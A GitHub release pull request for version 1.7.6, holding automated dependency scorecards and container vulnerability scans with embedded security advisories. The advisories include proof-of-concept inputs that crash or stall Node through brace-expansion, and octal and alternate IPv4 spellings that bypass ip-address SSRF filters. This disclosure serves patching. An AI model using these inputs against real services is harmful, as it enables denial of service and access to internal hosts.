Skip to content

Release: v1.7.6 - #565

Merged
Lomilar merged 1 commit into
1.7from
release/draft-1.7-1786629539
Aug 14, 2026
Merged

Release: v1.7.6#565
Lomilar merged 1 commit into
1.7from
release/draft-1.7-1786629539

Conversation

@github-actions

Copy link
Copy Markdown

Automated release PR bumping the version and generating dependency updates. Review the changes and merge this PR into the major/minor target branch when you are ready to publish the Docker images.

@github-actions

Copy link
Copy Markdown
Author

⚠️ Deprecation Warning: The deny-licenses option is deprecated for possible removal in the next major release. For more information, see issue 997.

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

OpenSSF Scorecard

PackageVersionScoreDetails
npm/@aws-sdk/client-s3 3.1109.0 🟢 6.9
Details
CheckScoreReason
Code-Review⚠️ 1Found 3/30 approved changesets -- score normalized to 1
Maintained🟢 1030 commit(s) and 4 issue activity found in the last 90 days -- score normalized to 10
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
License🟢 10license file detected
Token-Permissions🟢 5detected GitHub workflow tokens with excessive permissions
Signed-Releases⚠️ 0Project has not signed or included provenance with any releases.
Branch-Protection🟢 5branch protection is not maximal on development and all release branches
Security-Policy🟢 10security policy file detected
Packaging🟢 10packaging workflow detected
SAST🟢 10SAST tool is run on all commits
Binary-Artifacts🟢 9binaries present in source code
Pinned-Dependencies🟢 8dependency not pinned by hash detected -- score normalized to 8
Fuzzing🟢 10project is fuzzed
npm/@xmldom/xmldom 0.9.11 🟢 7.5
Details
CheckScoreReason
Maintained🟢 1016 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10
Code-Review🟢 5Found 4/8 approved changesets -- score normalized to 5
Token-Permissions🟢 10GitHub workflow tokens follow principle of least privilege
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Binary-Artifacts🟢 10no binaries found in the repo
Packaging⚠️ -1packaging workflow not detected
Dependency-Update-Tool🟢 10update tool detected
Security-Policy🟢 10security policy file detected
Pinned-Dependencies🟢 8dependency not pinned by hash detected -- score normalized to 8
License🟢 10license file detected
CII-Best-Practices🟢 5badge detected: Passing
Signed-Releases⚠️ 0Project has not signed or included provenance with any releases.
Fuzzing🟢 10project is fuzzed
Vulnerabilities⚠️ 014 existing vulnerabilities detected
Branch-Protection🟢 5branch protection is not maximal on development and all release branches
SAST🟢 9SAST tool detected but not run on all commits
CI-Tests🟢 1029 out of 29 merged PRs checked by a CI test -- score normalized to 10
Contributors🟢 10project has 12 contributing companies or organizations
npm/ansi-regex 6.3.0 🟢 3.8
Details
CheckScoreReason
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Maintained⚠️ 00 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0
Packaging⚠️ -1packaging workflow not detected
Pinned-Dependencies⚠️ 0dependency not pinned by hash detected -- score normalized to 0
Code-Review🟢 3Found 9/30 approved changesets -- score normalized to 3
Binary-Artifacts🟢 10no binaries found in the repo
Token-Permissions⚠️ 0detected GitHub workflow tokens with excessive permissions
Security-Policy🟢 10security policy file detected
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Fuzzing⚠️ 0project is not fuzzed
License🟢 10license file detected
Branch-Protection⚠️ 0branch protection not enabled on development/release branches
Signed-Releases⚠️ -1no releases found
SAST⚠️ 0SAST tool is not run on all commits -- score normalized to 0
npm/express-oauth2-jwt-bearer 1.9.2 UnknownUnknown
npm/hono 4.13.2 UnknownUnknown
npm/papaparse 5.6.0 🟢 3.6
Details
CheckScoreReason
Code-Review🟢 6Found 18/29 approved changesets -- score normalized to 6
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Packaging⚠️ -1packaging workflow not detected
Binary-Artifacts🟢 10no binaries found in the repo
Token-Permissions⚠️ 0detected GitHub workflow tokens with excessive permissions
Maintained⚠️ 22 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Security-Policy⚠️ 0security policy file not detected
License🟢 10license file detected
Pinned-Dependencies⚠️ 0dependency not pinned by hash detected -- score normalized to 0
Fuzzing⚠️ 0project is not fuzzed
Signed-Releases⚠️ -1no releases found
Branch-Protection⚠️ 0branch protection not enabled on development/release branches
SAST⚠️ 0SAST tool is not run on all commits -- score normalized to 0

Scanned Files

  • package-lock.json

@sonarqubecloud

Copy link
Copy Markdown

@github-actions

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass:latest

📦 Image Reference cass-cass:latest
digestsha256:27d6cd81b8adbd6aa4b329dc33e1b527cebe677f03ec2d3630d4560e68012b91
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size268 MB
packages601
📦 Base Image node:24-bookworm-slim
also known as
  • 24-slim
  • 24.19-bookworm-slim
  • 24.19-slim
  • 24.19.0-bookworm-slim
  • 24.19.0-slim
  • krypton-bookworm-slim
  • krypton-slim
  • lts-bookworm-slim
  • lts-slim
digestsha256:65932751ed4073ed02f5c04e494e4b2572a891b7dbea0568a863dc80341bf848
vulnerabilitiescritical: 3 high: 8 medium: 18 low: 32 unspecified: 5
critical: 2 high: 2 medium: 0 low: 0 perl 5.36.0-7+deb12u3 (deb)

pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?os_distro=bookworm&os_name=debian&os_version=12

critical : CVE--2026--13221

Affected range>0
Fixed versionNot Fixed
EPSS Score0.432%
EPSS Percentile36th percentile
Description

Perl versions through 5.43.9 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk. When such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error. A pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.


[experimental] - perl 5.44.0-1

critical : CVE--2026--12087

Affected range>0
Fixed versionNot Fixed
EPSS Score0.374%
EPSS Percentile30th percentile
Description

Socket versions before 2.041 for Perl have an out-of-bounds heap read. In Socket.xs, pack_ip_mreq_source() checks the length of its source argument before the argument is read, so the check tests the byte length carried over from the preceding multiaddr argument instead. Both addresses occupy a 4-byte field, so a valid multiaddr lets a source of any length pass the check, and the source is then copied into the 4-byte imr_sourceaddr field with a fixed-size copy. A source shorter than 4 bytes is not rejected, and the copy reads up to 3 bytes past the end of its buffer. Calling pack_ip_mreq_source() with a source value shorter than 4 bytes copies adjacent heap memory into the returned packed structure.


high : CVE--2026--48959

Affected range>0
Fixed versionNot Fixed
EPSS Score0.373%
EPSS Percentile30th percentile
Description

IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward. fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration. Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.


high : CVE--2026--48962

Affected range>0
Fixed versionNot Fixed
EPSS Score0.292%
EPSS Percentile22nd percentile
Description

IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. _parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl. Arbitrary Perl in the output glob executes at the calling process's privilege.


critical: 0 high: 2 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--69152 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.9
Fixed version5.0.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.411%
EPSS Percentile34th percentile
Description

Summary

The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

Details

maxLength was enforced in combine(), the single place output grows. Two arrays are built before combine() runs, and neither was bounded.

1. Comma alternatives accumulate without a running total (memory exhaustion)

Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:

values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile27th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

critical: 0 high: 1 medium: 0 low: 0 ip-address 10.2.0 (npm)

pkg:npm/ip-address@10.2.0

high 7.7: CVE--2026--69192 Improper Input Validation

Affected range<=10.3.0
Fixed version10.3.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile22nd percentile
Description

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

Input correctForm() Classified as Resolver reaches Effect
012.0.0.1 12.0.0.1 public 10.0.0.1 internal target allowed
012.012.012.012 12.12.12.12 public 10.10.10.10 internal target allowed
010.0.0.1 10.0.0.1 private 8.0.0.1 public target blocked

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

new URL('http://012.0.0.1/').hostname   // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@<!-- -->10.3.0, then:

const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

@github-actions

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-alpine:latest

📦 Image Reference cass-cass-alpine:latest
digestsha256:848aca3f27313b131ff0a9593255420da29d391620cd0e9c00cf16c71ef9ccf6
vulnerabilitiescritical: 0 high: 3 medium: 0 low: 0
platformlinux/amd64
size228 MB
packages493
📦 Base Image node:24-alpine
also known as
  • 24-alpine3.24
  • 24.19-alpine
  • 24.19-alpine3.24
  • 24.19.0-alpine
  • 24.19.0-alpine3.24
  • krypton-alpine
  • krypton-alpine3.24
  • lts-alpine
  • lts-alpine3.24
digestsha256:2a49bdf71e9fd965a58c1703fd9ddd205b34e5782b692a72dd1d248abb0beb43
vulnerabilitiescritical: 1 high: 6 medium: 9 low: 2
critical: 0 high: 2 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--69152 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.9
Fixed version5.0.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.411%
EPSS Percentile34th percentile
Description

Summary

The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

Details

maxLength was enforced in combine(), the single place output grows. Two arrays are built before combine() runs, and neither was bounded.

1. Comma alternatives accumulate without a running total (memory exhaustion)

Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:

values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile27th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

critical: 0 high: 1 medium: 0 low: 0 ip-address 10.2.0 (npm)

pkg:npm/ip-address@10.2.0

high 7.7: CVE--2026--69192 Improper Input Validation

Affected range<=10.3.0
Fixed version10.3.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile22nd percentile
Description

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

Input correctForm() Classified as Resolver reaches Effect
012.0.0.1 12.0.0.1 public 10.0.0.1 internal target allowed
012.012.012.012 12.12.12.12 public 10.10.10.10 internal target allowed
010.0.0.1 10.0.0.1 private 8.0.0.1 public target blocked

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

new URL('http://012.0.0.1/').hostname   // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@<!-- -->10.3.0, then:

const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

